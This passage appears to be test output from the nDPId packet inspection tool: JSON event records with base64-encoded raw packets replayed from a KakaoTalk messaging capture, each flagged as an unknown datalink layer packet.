+00554{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1932,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":595587,"pkt_caplen":185,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":185,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKkAAEAAHBH90QHJAa4KGFK8WgQsOACVy7qAbDLufq9pA1SapdpS9e5taihFGRsv0DUIo7+NX15eWolgKTqWx7WaxxdzdhONQqSdkl5LC0s\/ae\/TTrdfYhTU586B2ugOR005AllpPodyQ1H5xpp+W9T7DU6P6fIGjOIJykvrcNqg99ss1uoHQ4pf9Mu6aoFzNf8vcy3hrBWN2qxSGEr5XjKhzQ2I2Hg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1932,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1933,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":608252,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABGT4eAbFCPi0CZmguGVRkpsiLkNZoDMprHAvTI4XU2KqgSPziXGJKxMrV1hPNpWXHoANxdd1JxEVU8ISLPkokJJQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1933,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00472{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1934,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":624915,"pkt_caplen":123,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":123,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGsAAEAAQBHaNwoYUrwByQGuKBxaBgBXQV6AbDMVfq\/7Q1SapdqSe8YY40hEbpGRC7dEYDm8Bca\/f3mFcJxyWVDExoiBeZJcCd\/b9xjW+elGQhi8R+uP6E\/861Ta4e0JHvpqsQ2HPRzE"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1934,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00574{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1935,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":672095,"pkt_caplen":200,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":200,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALgAAEAAHBH9wgHJAa4KGFK8WgYoHACkQ46AbFBoi0AHWguGVRkUOgVB0xr6eK9rA3z\/xzT1LVDYOUNI+hTMQlAkRPIEdwfVBfgJFOpdt\/G+FC63jfFigUE3e9Kcd3WN50NNcyDmiFBQtPfOGUk9k409zeBHwRogA6oVxPSD1n8J0Gz6s1ftDsSNR28rHSPnYTv8zgkIhQK7Iu9CmUZEnyvvvecRuJiwC+bnw11oPJA5Lc8YCDg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1935,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00490{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1936,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":681952,"pkt_caplen":134,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":134,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHYAAEAAQBHaLAoYUrwByQGuKBxaBgBi5XKAbDMWfq\/\/A1Sapdo\/i141mlkQnDPElxnrHtumx\/sVCYBVrKxgCLetGav1+ud0+EXbr5lOx+218zhHZ1D9XILzajsoVBaiv5l3xlBJ9TobwM\/\/TzdEeUaBIVc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1936,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1937,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":715918,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABGClOAbFCQi0CdWguGVRnmIxELVLmQnkIZaJ4ReH5\/lXDK43Uu0nGqOWRPcWj\/WlZYuvIBqdo81D79883Rd31xJg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1937,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00458{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1938,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":716071,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGAAAEAAPxHbQgoYUrwByQGuLDhaBABMX2WAbFCRi0ChGguGVRmDEk8MQn426YbKD7tUqGDrXa60hI5KUEVA92p+lTwaWX6hg4WD2iVqv\/mfGD\/40GoJ3ebrQkYqEw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1938,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00579{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1939,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":751837,"pkt_caplen":202,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":202,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALoAAEAAHBH9wAHJAa4KGFK8WgYoHACmvgKAbFBpi0ALGguGVRnpjnOuKa9PpBFG8l\/swU+mshpLPINzZI4aIhOosqQaNRzpqhY4V+bugDAC1XVPbXWyLd6IuuavuWYaUV6uBHKvDUvGkBdwLAW3ATM8NQf2\/ma0CzqYXJMhXCbPOnQ6eWmG1K4Za1lLhjIwnWmlI+vMcQsDZAjAW5Zk4bh5M0MylLmAw3QazrGXsk\/fVxQxEivyew=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1939,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00461{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1940,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":763495,"pkt_caplen":116,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":116,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGQAAEAAQBHaPgoYUrwByQGuKBxaBgBQPzOAbDMXfrACw1SapdrAYkWELsZhcv9pCHaUd64YEgcD29WX1Ntm8z0ghuWKmBFw+9q6edaBwuW+wjdY5MWKFkFVE+\/gCTskITQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1940,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00537{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1941,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":803412,"pkt_caplen":174,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":174,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJ4AAEAAHBH93AHJAa4KGFK8WgQsOACKVrGAbDLvfq9sw1SapdpZ7FtTCFJ9QbHs1Kj4OHy4dHYAJaz0lbUh\/HZwDzEp6AiQSWpjGA3Xi4f8MDfsXEaODzL1jEoSmCeIGmRmRDrl89dP5Ke+zPlVvVR1C6dnAUa30RQLIOP19pUG9zaisMQo2+pCYD7JQ28TyjMH2YpPiIHGSC9m"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1941,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00442{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1942,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":809577,"pkt_caplen":100,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":100,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFQAAEAAPxHbTgoYUrwByQGuLDhaBABAwveAbFCSi0Ck2guGVRkq+ORb\/H97ATiZ5Iex2WqpDpo+NBqxq829bVYnwQCi\/CGLFir1ChJXDgRbwQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1942,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1943,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":809821,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABHGQ+AbFCTi0ComguGVRl\/1ZS4zgR\/LueU2GDqcS7RMAEJsPZP1z9D\/QjJrzXbqE8Ir8Dr9KiW\/3XqWqS2zEkTSX8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1943,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00461{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1944,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":820960,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGMAAEAAQBHaPwoYUrwByQGuKBxaBgBPBeyAbDMYfrAGg1Sapdqg0k6DZOo4pltwV73mrj\/gxZuhAg6fYqQZSMrV4ggbC9vlLJ8aLGfGE85cgTRcCEJz0TjQGBeC96v8mQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1944,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1945,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":857733,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/I8uAbDMZfrAKQ1Sapdr5aQaJhTJGfiDoRmbcmdagZbZvkG96g\/ZS76ZH\/67bT+nWBLdlmmcgreXW"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1945,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00560{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1946,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":859259,"pkt_caplen":188,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":188,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKwAAEAAHBH9zgHJAa4KGFK8WgYoHACYprWAbFBqi0AO2guGVRntvoMv\/7d2qu4sMZcRV99mB35HfbEB0klikx8qpbEWkxJeu6c420Nif5f7A8fh16L3CA0ABxultcRlOzJw993RZsChoqsIt44aVyTCwg\/rbtCr8NK284qPJXvb1eWukqe2Fx4o4AsxXdNPsh60BDNc0EN1o\/Z4purA5\/mSyYNFIhEfWhE="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1946,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1947,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":897376,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGUAAEAAQBHaPQoYUrwByQGuKBxaBgBR8DOAbDMafrAOA1Sapdoc1lQNyMyYKKBgafKxjawqElEBwZRlZTvNNHucr0dYcSqssjv8DU5+eitKC+z2iVgVuPHfeS6wuxeQec01"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1947,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00560{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1948,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":899268,"pkt_caplen":192,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":192,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALAAAEAAHBH9ygHJAa4KGFK8WgYoHACcdpOAbFBri0ASmguGVRm09h+gFTDpnCMabXGOTZC61SWLq1tHkAbvv3VMjUrB2L4BcN1A3rvjiaCD9LiOzuCjRT4LbNVT8QLIcylPEBhpVZxgjXCn5WTg1J2yVqrKf60aIGf+40XBWyjXCZWrDOk2pyHGDlIjMZYQMcyMq4QeB6SE4W0VTn4VUSWphw8VrHbxomTJMhsw"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1948,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1949,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":911689,"pkt_caplen":121,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":121,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGkAAEAAPxHbOQoYUrwByQGuLDhaBABVz3WAbFCUi0CsWguGVRmNi4rKb89h4MlRyjH1Vm8y1o7AWyzatJcfSnNsOOAjiZqSLS9IYH\/Y0cxnTso2h59CfMQ+1kvxk8A31Ig6MxkBxQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1949,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00550{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1950,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069199,"pkt_ts_usec":967383,"pkt_caplen":181,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":181,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKUAAEAAHBH91QHJAa4KGFK8WgQsOACRQQuAbDLwfq9wg1SapdrhQNRzj1f9fZPdhY39Z+r9L6+nnNx\/QyXJ6W6y3FPCUzjCKStupNa5EGm5p4rmQQCCfOI4g9slKwnMrfY0\/qINecyha5s1L3vPGIKnCf1CyQmrn0A7Xr8vvf+cf109CVGrSxvM+QC3WQcVbDO3XHXmdQFGy1yEfTkaFLtC4g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1950,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00480{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1951,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":4279,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHIAAEAAQBHaMAoYUrwByQGuKBxaBgBeccqAbDMbfrARw1SapdrASQX7a7OQrLB98Gw9+fAYQbCwg42\/3T8a7TChbu9CeVOSGu2w1L22R198S3\/EqYYMHG8mIQxz12pl9hr39y6HXuMGBLaYwDxD2w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1951,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00559{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1952,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":9070,"pkt_caplen":189,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":189,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAK0AAEAAPxHa9QoYUrwByQGuLDhaBACZyaGAbFCVi0CwGguGVRmmg5kHX1FaJGXQwjTo\/QN+BwyVOTdHahfHQK5DpfQsOLN4iiYwbtuVVB7kBY32X8BV70E\/XPfF17rUEp\/U6TahrOR75zZV48DMgh0EV38wEByCRrweDUv7bNU\/JkxkLzG22lukClWijx6FUUe5S2q12UaBIH\/24JGLMmFEoBylXMl3Hep8"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1952,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00531{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1953,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":9223,"pkt_caplen":170,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJoAAEAAPxHbCAoYUrwByQGuLDhaBACG33WAbFCWi0Cz2guGVRmZRJu2em99UwboNPv+dtbWeI8EazNgysgfWqwv7uF38hESkIEzsJKwRosvmegE1S8mdfKyqmXOHllbpJqGNC7JXDNElNJA\/0XXE+bzVguILEucLSIzpfYMKvpLAY31ox5US1zaKwZrLa+EymK4rXemsyU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1953,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00540{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1954,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":9375,"pkt_caplen":176,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":176,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKAAAEAAHBH92gHJAa4KGFK8WgQsOACMAxmAbDLxfq90Q1Sapdo\/8GQDBIRnEcbEJXcCzBVV1Kk7NGnV5IzHKYXWPyWCuYS+gLrHwak+9xzAx55E7Au56ECOp0Tw6VpeuC3i2YgkWNpOPDVAt0Wu3zXNIf2iJQMrE5MkxbHUziw\/Y9nWi8mXoRlsYX2m1eaOBEI0vLaivGUbHOlyPRI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1954,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00520{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1955,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":45844,"pkt_caplen":162,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":162,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJIAAEAAQBHaEAoYUrwByQGuKBxaBgB+mfmAbDMcfrAVg1SapdrCuiSCdgzEil6OJHOcmQYsIGkQEMM2TVHbKGnmTe7QTrT+mRQ5zPtV20XqgStiNZ4os5siUi3xbNHLsmqYg\/qom9LnmuJ691j70lqGc59tQMZnmI0ENTppUTMBlD8dTRexp8fPnrd28et1"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1955,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00533{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1956,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":79352,"pkt_caplen":170,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJoAAEAAHBH94AHJAa4KGFK8WgQsOACGnSiAbDLyfq94A1SapdoaUE+a6GQSdl+sVb3d8kW3dwyM8LswMxLs9AiNWYAd5y3R1SORMHWhgw\/vBcitFBSIxlz3D6rheEKIYRjNPkFlrU1\/k5OfK7vXnTYxAOa01efZm8maCXLa82AKHdTJiVqn9hLGr6kklQF1xbItS96jWeI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1956,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00527{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1957,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":87866,"pkt_caplen":164,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":164,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJQAAEAAQBHaDgoYUrwByQGuKBxaBgCABi6AbDMdfrAZQ1SapdpbU0J\/+HE2unYNRBv6UsB6w11SPl64S2FIYJd\/j3ssn0ZSz+\/rMxeAiXy\/7xaYKIzTM0ArC5wqFDg0voGTesPKrw2zrD7VyzcvZm3U4V9P+5OgkhSY1wUsPDE3GPQasn6y2UbClwjuLFXmDHk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1957,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00535{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1958,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":111182,"pkt_caplen":171,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":171,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJsAAEAAPxHbBwoYUrwByQGuLDhaBACHeu+AbFCXi0C3mguGVRkrr+HndrRyjO0IOO6iyk\/3GdutwYxUfGxvJojH0U8XTjssZL0JFQn6od9TLxk7c1Z\/O+PAfnwfM\/lqrYnVCm+ho+IfHpgtVg0IMmRVeIqUHFhuCiKbjgvPV3VHSg8MYFc4RLNpMqgQ8hF5X0mmZhHe8b67"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1958,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00498{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1959,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":111334,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH4AAEAAPxHbJAoYUrwByQGuLDlaBQBq5\/mByAAMC4ZVGaDpnSddKM5Xo0F7IzUlJ0K974tSl6CKC75qjJ7CzzdGPB\/jgt1yWqXNt5f8eE7my+DfJ1ibS2biQYoq0+IluHuPfo1V6AWC+zZ2seaAAAAIJChM86bO4q6g9Q=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1959,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00510{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1960,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":111457,"pkt_caplen":152,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":152,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIgAAEAAPxHbGgoYUrwByQGuLDhaBAB00x6AbFCYi0C7WguGVRkTfuKOijtuW3gyaR+i00LcieHtlMKRJrHqTvK7UtBj5Zkczo5R3j\/MH6dJZOQ7bmksN9eWJZtHMjElTEbg2PVchXMxU50cDPFIkJpARmghBS\/mo7HNUdYHqQW5yBRDEKg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1960,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00572{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1961,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":159400,"pkt_caplen":197,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":197,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALUAAEAAHBH9xQHJAa4KGFK8WgYoHAChphOAbFBsi0AWWguGVRmXoIuVtM43eIHqKyrqrhRgL8SdlTok11vMjuLrxdWqFJ4a1StMJViTQskzml80gWK79PP7PhPUVockSpJJL8vzwR53FSlI7hVwjUP3D8fwT+0H2c\/a5JUzF2NnhxngbJ+ubaf8d3JGtB4BgSV\/JhSKUQain9Vmw\/66TPNA7tal\/M9aNYUMwEPyQBTFBh8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1961,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00493{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1962,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":164435,"pkt_caplen":139,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":139,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHsAAEAAQBHaJwoYUrwByQGuKBxaBgBnb9yAbDMefrAdA1Sapdo1YD9AOn6OjopJ3GwIj+bkUOdfhOHG6hY4DI7C1\/TwkaayHZDR5IceclpAroEpWbkt+iY+UgVJ8m6SHwmcpdQFUJp8uYmiEkutfsnZ8e+5Tbcr5w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1962,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00555{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1963,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":199347,"pkt_caplen":186,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":186,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKoAAEAAHBH90AHJAa4KGFK8WgQsOACWRUGAbDLzfq97w1Sapdo1OAYIjGK1NhO3uJ\/BJAEPDf9uWVEFVzQOb\/oc7BBzaWSlol\/OdMebuThkwLAiGUUbjZ+CHuA1lhXRVPPIeORUk6DwzktlGfcdG3fw8Qn2QOI8JgjqCfMpe1Kj9pUwgihfiGTPxizrjaFgkx9pP8XfnbwsGXLGDuVWqsjEMgCscUHV"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer 